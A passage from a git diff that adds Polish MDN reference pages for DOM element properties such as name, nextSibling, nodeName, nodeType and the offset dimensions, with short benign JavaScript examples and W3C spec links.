class="eval"><em>HTMLElement</em>.name = <em>string</em>; +var elName = <em>HTMLElement</em>.name; + +var kontrolka = <em>HTMLFormElement</em>.<em>nazwaElementu</em>; +var kolekcjaKontrolek = <em>HTMLFormElement</em>.elements.<em>nazwaElementu</em>; +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval"><form action="" name="formA"> + <input type="text" value="foo"> +</form> + +<script type="text/javascript"> + + // pobierz referncję do pierwszego elementu formularza + var formElement = document.forms['formA'].elements[0]; + + // nadaj mu nazwę + formElement.name = 'inputA'; + + // i wyświetl jego wartość + alert(document.forms['formA'].elements['inputA'].value); + +</script> +</pre> +<h3 id="uwagi" name="uwagi">uwagi</h3> +<p>W przeglądarce Internet Explorer (IE) nie można modyfikować właściwości <code>name</code> obiektów DOM utworzonych za pomocą <code><a href="/pl/DOM/document.createElement" title="pl/DOM/document.createElement">createElement</a></code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>Specyfikacja W3C DOM 2 HTML:</p> +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-32783304">Anchor</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-39843695">Applet</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-22051454">Form</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-91128709">Frame</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-96819659">iFrame</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-47534097">Image</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-89658498">Input</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-52696514">Map</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-31037081">Meta</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-20110362">Object</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-89658498">Option</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-59871447">Param</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-41636323">Select</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-70715578">Textarea</a></li> +</ul> +<p>{{ languages( { "en": "en/DOM/element.name", "ja": "ja/DOM/element.name", "fr": "fr/DOM/element.name" } ) }}</p> diff --git a/files/pl/web/api/element/namespaceuri/index.html b/files/pl/web/api/element/namespaceuri/index.html new file mode 100644 index 0000000000..9f252ba570 --- /dev/null +++ b/files/pl/web/api/element/namespaceuri/index.html @@ -0,0 +1,39 @@ +--- +title: element.namespaceURI +slug: Web/API/Element/namespaceURI +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/namespaceURI +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca URI przestrzeni nazw tego węzła lub NULL, jeśli jej nie określono.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>przestrzeńNazw</i> = element.namespaceURI +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>przestrzeńNazw</code> to ciąg znaków reprezentujący URI przestrzeni nazw bieżącego węzła.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<p>W poniższym wycinku kodu sprawdzane są <code>localName</code> i <code>namespaceURI</code> węzła. Jeśli <code>namespaceURI</code> jest zgodny ze zmienną zawierającą przestrzeń nazw dla XUL, węzeł jest uznawany za widget <browser /> w języku XUL.</p> +<pre>if (node.localName == "browser" + && node.namespaceURI == kXULNSURI) { +// xul browser +this.viewee = node.webNavigation.document; +//... +} +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Nie jest to wyznaczona wartość, będąca rezultatem przeszukiwania w oparciu o deklaracje przestrzeni nazw w zakresie, w jakim znajduje się element. Jest to jedynie URI takiej przestrzeni nazw, jaką nadano w momencie tworzenia elementu.</p> +<p>Dla węzłow typów innych niż <code>ELEMENT_NODE</code> i <code>ATTRIBUTE_NODE</code> oraz węzłów utworzonych metodami DOM Level 1, jak <a href="pl/DOM/document.createElement">document.createElement</a>, wartość tej właściwości to zawsze NULL.</p> +<p>Zgodnie ze specyfikacją <a class="external" href="http://www.w3.org/TR/REC-xml-names">Namespaces in XML</a> atrybut nie dziedziczy przestrzeni nazw po elemencie, do którego jest przypisany. Jeśli atrybut nie ma bezpośrednio nadanej przestrzeni nazw, po prostu nie należy do żadnej przestrzeni.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeNSname">namespaceURI</a></p> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#Namespaces-Considerations">Przestrzenie nazw XML</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.namespaceURI", "fr": "fr/DOM/element.namespaceURI", "ja": "ja/DOM/element.namespaceURI" } ) }}</p> diff --git a/files/pl/web/api/element/nextsibling/index.html b/files/pl/web/api/element/nextsibling/index.html new file mode 100644 index 0000000000..17f1822a56 --- /dev/null +++ b/files/pl/web/api/element/nextsibling/index.html @@ -0,0 +1,63 @@ +--- +title: element.nextSibling +slug: Web/API/Element/nextSibling +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/nextSibling +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca węzeł znajdujący się w drzewie bezpośrednio za węzłem bieżącym.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval"><i>następnyElement</i> = element.nextSibling +</pre> +<p><code>następnyElement</code> to węzeł bezpośrednio następny w liście rodzeństwa (np. liście dzieci węzła <code>parentNode</code>). Następnym węzłem jest na ogół węzeł elementu, komentarza lub węzeł tekstowy.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><div id="div-01">Here is div-01</div> +<div id="div-02">Here is div-02</div> + +<script type="text/javascript"> + var el = document.getElementById('div-01').nextSibling; + document.write('<p>Rodzeństwo div-01</p><ol>'); + while (el) { + document.write('<li>' + el.nodeName + '</li>'); + el = el.nextSibling; + } + document.write('</ol>'); +</script> + +/************************************************** + Po załadowaniu zostanie dopisane do strony: + + Rodzeństwo div-01 + + 1. #text + 2. DIV + 3. #text + 4. SCRIPT + 5. P + 6. OL +**************************************************/ +</pre> +<p>Węzły tekstowe - <code>#text</code> - są w powyższym przykładzie wstawiane do modelu dokumentu w miejsce białych znaków między elementami (np. po znaczniku zamykającym jeden element, ale przed znacznikiem otwierającym następny element). Białe znaki nie są wstawiane przy wywołaniu <code>document.write</code>.</p> +<p>Poniższy przykład pokazuje, jak białe znaki wpływają na sąsiednie węzły komórek tabeli:</p> +<pre><table> + <tr> + <td id="cell1">cell1</td> + <td id="cell2">cell2</td> + </tr> + <tr> + <td id="cell3">cell3</td><td id="cell4">cell4</td></tr> +</table> +</pre> +<p><code>nextSibling</code> <code>cell1</code> to węzeł tekstowy. Między komórkami drugiego rzędu tabeli nie ma białych znaków, dlatego rodzeństwo <code>cell3</code> to tylko <code>cell4</code>. Podczas przechodzenia przez model dokumentu za pomocą <code>nextSibling</code> należy liczyć się z możliwością wystąpienia węzłów tekstowych.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zwraca <code>null</code>, kiedy nie ma już więcej węzłów.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-6AC54C2F">nextSibling </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.nextSibling", "fr": "fr/DOM/element.nextSibling", "ja": "ja/DOM/element.nextSibling" } ) }}</p> diff --git a/files/pl/web/api/element/nodename/index.html b/files/pl/web/api/element/nodename/index.html new file mode 100644 index 0000000000..93a54424a6 --- /dev/null +++ b/files/pl/web/api/element/nodename/index.html @@ -0,0 +1,98 @@ +--- +title: element.nodeName +slug: Web/API/Element/nodeName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/nodeName +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca nazwę węzła jako ciąg znaków.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>nazwa</i> = element.nodeName +</pre> +<p> + <i> + nazwa</i> + to ciąg znaków reprezentujący nazwę bieżącego elementu. <code>nodeName</code> to atrybut tylko do odczytu.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Poniżej przedstawione są wartości zwracane dla różnych typów węzłów:</p> +<table class="standard-table"> + <tbody> + <tr> + <th class="header" style="text-align: center;">Interfejs</th> + <th class="header" style="text-align: center;">nodeName</th> + </tr> + <tr> + <td><a href="pl/DOM/Attr">Attr</a></td> + <td>tak samo jak <code><a href="pl/DOM/Attr.name">Attr.name</a></code></td> + </tr> + <tr> + <td><a href="pl/DOM/CDATASection">CDATASection</a></td> + <td>"#cdata-section"</td> + </tr> + <tr> + <td><a href="pl/DOM/Comment">Comment</a></td> + <td>"#comment"</td> + </tr> + <tr> + <td><a href="pl/DOM/Document">Document</a></td> + <td>"#document"</td> + </tr> + <tr> + <td><a href="pl/DOM/DocumentFragment">DocumentFragment</a></td> + <td>"#document-fragment"</td> + </tr> + <tr> + <td><a href="pl/DOM/DocumentType">DocumentType</a></td> + <td>tak samo jak <code><a href="pl/DOM/DocumentType.name">DocumentType.name</a></code></td> + </tr> + <tr> + <td><a href="pl/DOM/Element">Element</a></td> + <td>tak samo jak <code><a href="pl/DOM/element.tagName">Element.tagName</a></code></td> + </tr> + <tr> + <td><a href="pl/DOM/Entity">Entity</a></td> + <td>nazwa encji</td> + </tr> + <tr> + <td><a href="pl/DOM/EntityReference">EntityReference</a></td> + <td>nazwa refernecji do encji</td> + </tr> + <tr> + <td><a href="pl/DOM/Notation">Notation</a></td> + <td>nazwa notacji</td> + </tr> + <tr> + <td><a href="pl/DOM/ProcessingInstruction">ProcessingInstruction</a></td> + <td>tak samo jak <code><a href="pl/DOM/ProcessingInstruction.target">ProcessingInstruction.target</a></code></td> + </tr> + <tr> + <td>Text</td> + <td>"#text"</td> + </tr> + </tbody> +</table> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<p>Dane są poniższe znaczniki</p> +<pre><div id="d1">hello world</div> +<input type="text" id="t"/> +</pre> +<p>i taki skrypt:</p> +<pre>var div1 = document.getElementById("d1"); +var poleTekstowe = document.getElementById("t"); +poleTekstowe.value = div1.nodeName; +</pre> +<p>W XHTML-u (lub innym formacie XML) wartość pola tekstowego to "div". W HTML wartość ta to "DIV".</p> +<p>Zauważ, że można było użyć właściwości <code><a href="pl/DOM/element.tagName">tagName</a></code>, ponieważ dla elementów <code>nodeName</code> ma taką samą wartość jak <code>tagName</code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D095">W3C DOM Level 2 Core: nodeName</a></p> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-F68D095">W3C DOM Level 3 Core: nodeName</a></p> +<p> </p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.nodeName", "es": "es/DOM/element.nodeName", "fr": "fr/DOM/element.nodeName", "it": "it/DOM/element.nodeName", "ja": "ja/DOM/element.nodeName" } ) }}</p> diff --git a/files/pl/web/api/element/nodetype/index.html b/files/pl/web/api/element/nodetype/index.html new file mode 100644 index 0000000000..8f3825ea86 --- /dev/null +++ b/files/pl/web/api/element/nodetype/index.html @@ -0,0 +1,44 @@ +--- +title: element.nodeType +slug: Web/API/Element/nodeType +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/nodeType +--- +<div> + {{ApiRef}}</div> +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> +<p>Zwraca kod reprezentujący typ węzła.</p> +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> +<pre class="syntaxbox"><var>typ</var> = document.nodeType +</pre> +<p><code>typ</code> jest zmienną liczbową typu <code>unsigned short</code> o jednej z poniższych wartości:</p> +<ul> + <li>Node.ELEMENT_NODE == 1</li> + <li>Node.ATTRIBUTE_NODE == 2</li> + <li>Node.TEXT_NODE == 3</li> + <li>Node.CDATA_SECTION_NODE == 4</li> + <li>Node.ENTITY_REFERENCE_NODE == 5</li> + <li>Node.ENTITY_NODE == 6</li> + <li>Node.PROCESSING_INSTRUCTION_NODE == 7</li> + <li>Node.COMMENT_NODE == 8</li> + <li>Node.DOCUMENT_NODE == 9</li> + <li>Node.DOCUMENT_TYPE_NODE == 10</li> + <li>Node.DOCUMENT_FRAGMENT_NODE == 11</li> + <li>Node.NOTATION_NODE == 12</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<p>Ten przykład sprawdza czy pierwszy węzeł wewnątrz elementu document jest comment node, i jeśli nie jest, wyświetli wiadomość.</p> +<pre class="brush:js">var node = document.documentElement.firstChild; + +if(node.nodeType != Node.COMMENT_NODE) + alert("You should comment your code well!"); +</pre> +<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2> +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-111237558">DOM Level 2 Core: nodeType</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-111237558">DOM Level 3 Core: nodeType</a></li> +</ul> diff --git a/files/pl/web/api/element/nodevalue/index.html b/files/pl/web/api/element/nodevalue/index.html new file mode 100644 index 0000000000..205871bba3 --- /dev/null +++ b/files/pl/web/api/element/nodevalue/index.html @@ -0,0 +1,85 @@ +--- +title: Node.nodeValue +slug: Web/API/Element/nodeValue +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/nodeValue +--- +<div> + {{APIRef}}</div> +<div> + </div> +<div> + <span style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Podsumowanie</span></div> +<p>Zwraca wartość bieżącego węzła.</p> +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> +<pre class="syntaxbox"><var>wartość</var> = document.nodeValue +</pre> +<p><code>wartość</code> to ciąg znaków reprezentujący wartość elementu, jeśli taka istnieje.</p> +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> +<p>Dla dokumentu <code>nodeValue</code> zwraca <code>null</code>. Dla węzłów tekstowych, komentarzy i CDATA <code>nodeValue</code> zwraca zawartość węzła. Dla węzłów atrybutów, zwracana jest wartość atrybutu.</p> +<p>Poniższa tabela przedstawia wartości zwracane dla różnych interfejsów:</p> +<table class="standard-table"> + <tbody> + <tr> + <th class="header" style="text-align: center;">Interfejs</th> + <th class="header" style="text-align: center;">nodeValue</th> + </tr> + <tr> + <td>Attr</td> + <td>wartość atrybutu</td> + </tr> + <tr> + <td>CDATASection</td> + <td>treść sekcji CDATA</td> + </tr> + <tr> + <td>Comment</td> + <td>treść komentarza</td> + </tr> + <tr> + <td>Document</td> + <td>null</td> + </tr> + <tr> + <td>DocumentFragment</td> + <td>null</td> + </tr> + <tr> + <td>DocumentType</td> + <td>null</td> + </tr> + <tr> + <td>Element</td> + <td>null</td> + </tr> + <tr> + <td>NamedNodeMap</td> + <td>null</td> + </tr> + <tr> + <td>EntityReference</td> + <td>null</td> + </tr> + <tr> + <td>Notation</td> + <td>null</td> + </tr> + <tr> + <td>ProcessingInstruction</td> + <td>cała treść, wyłączając cel</td> + </tr> + <tr> + <td>Text</td> + <td>treść węzła tekstowego</td> + </tr> + </tbody> +</table> +<p>Jeśli <code>nodeValue</code> z definicji ma wartość <code>null</code>, ustawianie tej właściwości nie będzie mieć efektu.</p> +<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2> +<ul> + <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-F68D080">nodeValue </a></li> +</ul> diff --git a/files/pl/web/api/element/normalize/index.html b/files/pl/web/api/element/normalize/index.html new file mode 100644 index 0000000000..4dac3822cc --- /dev/null +++ b/files/pl/web/api/element/normalize/index.html @@ -0,0 +1,22 @@ +--- +title: element.normalize +slug: Web/API/Element/normalize +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/normalize +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Metoda zapisuje określony węzeł i całe jego poddrzewo w "znormalizowanej" formie. W znormalizowanym poddrzewie żaden węzeł tekstowy nie jest pusty, nie ma również sąsiednich węzłów tekstowych.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">element.normalize() +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-normalize">DOM Level 2 Core: Node.normalize</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.normalize", "fr": "fr/DOM/element.normalize" } ) }}</p> diff --git a/files/pl/web/api/element/offsetheight/index.html b/files/pl/web/api/element/offsetheight/index.html new file mode 100644 index 0000000000..ce5fc2254e --- /dev/null +++ b/files/pl/web/api/element/offsetheight/index.html @@ -0,0 +1,61 @@ +--- +title: element.offsetHeight +slug: Web/API/Element/offsetHeight +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/offsetHeight +--- +<p>{{ ApiRef() }}</p> + +<h3 id="offsetHeight" name="offsetHeight">offsetHeight</h3> + +<p>Własność DHTML (Dynamic HyperText Markup Language), która daje wysokość relatywnego elementu do układu strony.</p> + +<h2 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h2> + +<pre class="eval">var<em>intElemOffsetHeight</em> = document.getElementById(<em>id_attribute_value</em>).offsetHeight; +</pre> + +<p><em>intElemOffsetHeight</em>is a variable storing an integer corresponding to the offsetHeight pixel value of the element. offsetHeight is a read-only property.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Typically, an element's <strong>offsetHeight</strong> is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.</p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;"> +<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;"> +<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p> + +<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p> + +<p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p> + +<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p> + +<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p> +</div> +<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}</span></div> + +<p style="margin-top: 270px;"><img alt="grafika:offsetHeight.png"></p> + +<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2> + +<p>offsetHeight is part of the MSIE's DHTML object model. offsetHeight is not part of any W3C specification or technical recommendation.</p> + +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> + +<p>offsetHeight is a property of the DHTML object model which was first introduced by MSIE. It is sometimes referred as an element physical/graphical dimensions or an element's box height.</p> + +<h2 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2> + +<ul> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/offsetheight.asp?frame=true">MSDN's Definicja offsetHeight</a></li> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li> + <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/dom_el_ref18.html">Gecko DOM Reference on offsetHeight</a></li> +</ul> diff --git a/files/pl/web/api/element/offsetleft/index.html b/files/pl/web/api/element/offsetleft/index.html new file mode 100644 index 0000000000..b0252f3363 --- /dev/null +++ b/files/pl/web/api/element/offsetleft/index.html @@ -0,0 +1,73 @@ +--- +title: element.offsetLeft +slug: Web/API/Element/offsetLeft +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/offsetLeft +--- +<p>{{ ApiRef("HTML DOM") }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca ilość pikseli, jaką dzieli<em>górny lewy róg</em> bieżącego elementu od lewej strony wewnątrz węzła <code><a href="pl/DOM/element.offsetParent">offsetParent</a></code>.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>left</em> =<em>element</em>.offsetLeft; +</pre> + +<p><code>left</code> jest liczbą całkowitą reprezentująca przesunięcie od lewej strony podane w pikselach.</p> + +<h3 id="Uwaga" name="Uwaga">Uwaga</h3> + +<p><code>offsetLeft</code> returns the position the upper left edge of the element; not necessarily the 'real' left edge of the element. This is important for inline elements (such as <strong>span</strong>) in flowed text that wraps from one line to the next. The span may start in the middle of the line and wrap around to the beginning of the next line. The <code>offsetLeft</code> will refer to the left edge of the start of the span, not the left edge of text at the start of the second line. Therefore, a box with the left, top, width and height of <code>offsetLeft, offsetTop, offsetWidth</code> and <code>offsetHeight</code> will not be a bounding box for a span with wrapped text. (And, I can't figure out how to find the leftmost edge of such a span, sigh.)</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>var colorTable = document.getElementById("t1"); +var tOLeft = colorTable.offsetLeft; + +if (tOLeft > 5) { + // duże lewe przesunięcie: zrób coś tutaj +} +</pre> + +<h3 id="Przyk.C5.82ad_2" name="Przyk.C5.82ad_2">Przykład</h3> + +<p>Per the note above, this example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.</p> + +<p><img alt="Image:offsetLeft.jpg"></p> + +<p><small><font color="gray">Note: This is an image of the example, not a live rendering in the browser. This was done because script elements can't be included in the wiki page.</font></small></p> + +<pre><div style="width: 300px; border-color:blue; + border-style:solid; border-width:1;"> + <span>Short span. </span> + <span id="long">Long span that wraps withing this div.</span> +</div> + +<div id="box" style="position: absolute; border-color: red; + border-width: 1; border-style: solid; z-index: 10"> +</div> + +<script> + var box = document.getElementById("box"); + var long = document.getElementById("long"); + box.style.left = long.offsetLeft + document.body.scrollLeft; + box.style.top = long.offsetTop + document.body.scrollTop; + box.style.width = long.offsetWidth; + box.style.height = long.offsetHeight; +</script> +</pre> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p><code><a href="pl/DOM/element.offsetParent">offsetParent</a></code>, <code><a href="pl/DOM/element.offsetTop">offsetTop</a></code>, <code><a href="pl/DOM/element.offsetWidth">offsetWidth</a></code>, <code><a href="pl/DOM/element.offsetHeight">offsetHeight</a></code></p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>Niestandardowa własność.</p> diff --git a/files/pl/web/api/element/offsetparent/index.html b/files/pl/web/api/element/offsetparent/index.html new file mode 100644 index 0000000000..c33d32b38c --- /dev/null +++ b/files/pl/web/api/element/offsetparent/index.html @@ -0,0 +1,28 @@ +--- +title: element.offsetParent +slug: Web/API/Element/offsetParent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/offsetParent +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>offsetParent</b> zwraca referencję do obiektu, który jest najbliższym (w hierarchii zawierania się elementów) pozycjonowanym elementem. Jeżeli element nie jest pozycjonowany, <b>offsetParent</b> jest wówczas korzeń dokumentu (html w trybie zgodności ze standardami; body w trybie przybliżonym).</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>parentObj</i> = element.offsetParent +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>parentObj</code> jest referencją do obiektu, względem którego przesunięty jest bieżący element.</li> +</ul> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. + <i> + Nie jest częścią specyfikacji.</i> +</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.offsetParent", "fr": "fr/DOM/element.offsetParent" } ) }}</p> diff --git a/files/pl/web/api/element/offsetwidth/index.html b/files/pl/web/api/element/offsetwidth/index.html new file mode 100644 index 0000000000..b78d7b4136 --- /dev/null +++ b/files/pl/web/api/element/offsetwidth/index.html @@ -0,0 +1,70 @@ +--- +title: element.offsetWidth +slug: Web/API/Element/offsetWidth +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/offsetWidth +--- +<p>{{ APIRef("HTML DOM") }}</p> + +<h3 id="offsetWidth" name="offsetWidth">offsetWidth</h3> + +<p>właściwość <abbr title="Dynamic HyperText Markup Language">DHTML</abbr>, która podaje szerokość elementu, odnosząca się do układu strony.</p> + +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> + +<pre class="eval">var <em>intElemOffsetWidth</em> = document.getElementById(<em>id_attribute_value</em>).offsetWidth; +</pre> + +<p><code>intElemOffsetWidth</code> jest zmienną przechowującą liczbę całkowitą odpowiadającą wartości <strong><code>offsetWidth</code></strong> elementu i wyrażoną w pikselach. <strong><code>offsetWidth</code></strong> jest właściwością tylko do odczytu.</p> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Zazwyczaj <strong><code>offsetWidth</code></strong> elementu obejmuje jego obramowanie, wewnętrzny margines (padding), pionowy pasek przewijania (jeśli jest obecny lub renderowany) i szerokość CSS elementu.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;"> +<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 